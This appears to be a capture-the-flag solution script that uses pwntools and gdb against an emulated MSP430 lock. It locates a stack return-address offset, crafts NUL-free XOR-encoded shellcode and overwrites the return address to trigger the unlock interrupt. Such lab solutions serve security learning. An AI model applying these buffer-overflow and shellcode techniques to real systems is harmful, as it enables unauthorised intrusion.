from binascii import hexlify

from pwn import *

MSP430_EMU = args['MSP430_EMU']
MSP430_GDB = 'msp430-gdb'
BINARY = sys.argv[1]
PROMPT = b'gdb> '
NOP = b'\x03\x43'

context.endian = 'little'
emu = process([MSP430_EMU, '-g', BINARY])
dbg = process([MSP430_GDB, '-ex', 'target remote localhost:3713',
               '-ex', f'set prompt {PROMPT.decode("utf-8")}'])

dbg.recvuntil(PROMPT)

# - similar to Whitehorse, but strcpy/memset are used on user input
# - therefore the unlock code may not contain NUL

unlock_code = bytes([
    0x30, 0x12, 0x7f, 0x00,  # push #0x7f
    0xb0, 0x12, 0x4c, 0x45,  # call #0x454c <INT>
])

# the push #0x7f instruction contains NUL due to the literal, so
# instead a register is set up and pushed

encoded_unlock_code = bytes([
    0x38, 0x40, 0x3e, 0x41,  # mov  #0x413e, r8
    0x38, 0xe0, 0x41, 0x41,  # xor  #0x4141, r8
    0x08, 0x12,              # push r8
    0xb0, 0x12, 0x4c, 0x45,  # call #0x454c <INT>
])

# 44f4 <login>
# 44f4:  3150 f0ff      add	#0xfff0, sp
# 44f8:  3f40 7044      mov	#0x4470 "Enter the password to continue.", r15
# 44fc:  b012 b045      call	#0x45b0 <puts>
# 4500:  3f40 9044      mov	#0x4490 "Remember: passwords are between 8 and 16 characters.", r15
# 4504:  b012 b045      call	#0x45b0 <puts>
# 4508:  3e40 3000      mov	#0x30, r14
# 450c:  3f40 0024      mov	#0x2400, r15
# 4510:  b012 a045      call	#0x45a0 <getsn>
# 4514:  3e40 0024      mov	#0x2400, r14
# 4518:  0f41           mov	sp, r15
# 451a:  b012 dc45      call	#0x45dc <strcpy>
# 451e:  3d40 6400      mov	#0x64, r13
# 4522:  0e43           clr	r14
# 4524:  3f40 0024      mov	#0x2400, r15
# 4528:  b012 f045      call	#0x45f0 <memset>
# 452c:  0f41           mov	sp, r15
# 452e:  b012 4644      call	#0x4446 <conditional_unlock_door>
# 4532:  0f93           tst	r15
# 4534:  0324           jz	#0x453c <login+0x48>
# 4536:  3f40 c544      mov	#0x44c5 "Access granted.", r15
# 453a:  023c           jmp	#0x4540 <login+0x4c>
# 453c:  3f40 d544      mov	#0x44d5 "That password is not correct.", r15
# 4540:  b012 b045      call	#0x45b0 <puts>
# 4544:  3150 1000      add	#0x10, sp
# 4548:  3041           ret


def gdb_output(output):
    return output.removesuffix(PROMPT).decode('utf-8').strip().split('\n')


# find the address offset


def check_address_offset():
    dbg.sendlinethen(PROMPT, b'break *0x4548')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(cyclic(32))

    dbg.recvuntil(PROMPT)
    output = gdb_output(dbg.sendlinethen(PROMPT, b'x/4xb $sp'))[0]
    subseq = bytes([int(byte, 16) for byte in output.split(':')[1].split()])
    offset = cyclic_find(subseq)
    print(offset)


# check_address_offset()

# the address is 16 bytes in, let's find out the stack start


def check_input_addr():
    dbg.sendlinethen(PROMPT, b'break *0x452c')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(cyclic(32))

    dbg.recvuntil(PROMPT)
    sp = gdb_output(dbg.sendlinethen(PROMPT, b'p/x $sp'))[0].split(' = ')[1]
    print(sp)


# check_input_addr()

# the input starts at 43ee


def exploit(code):
    payload = NOP * ((16 - len(code)) // 2) + code
    payload += p16(0x43ee)

    dbg.sendline(b'continue')
    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(payload))

    print(emu.recvall().decode('utf-8'))


exploit(encoded_unlock_code)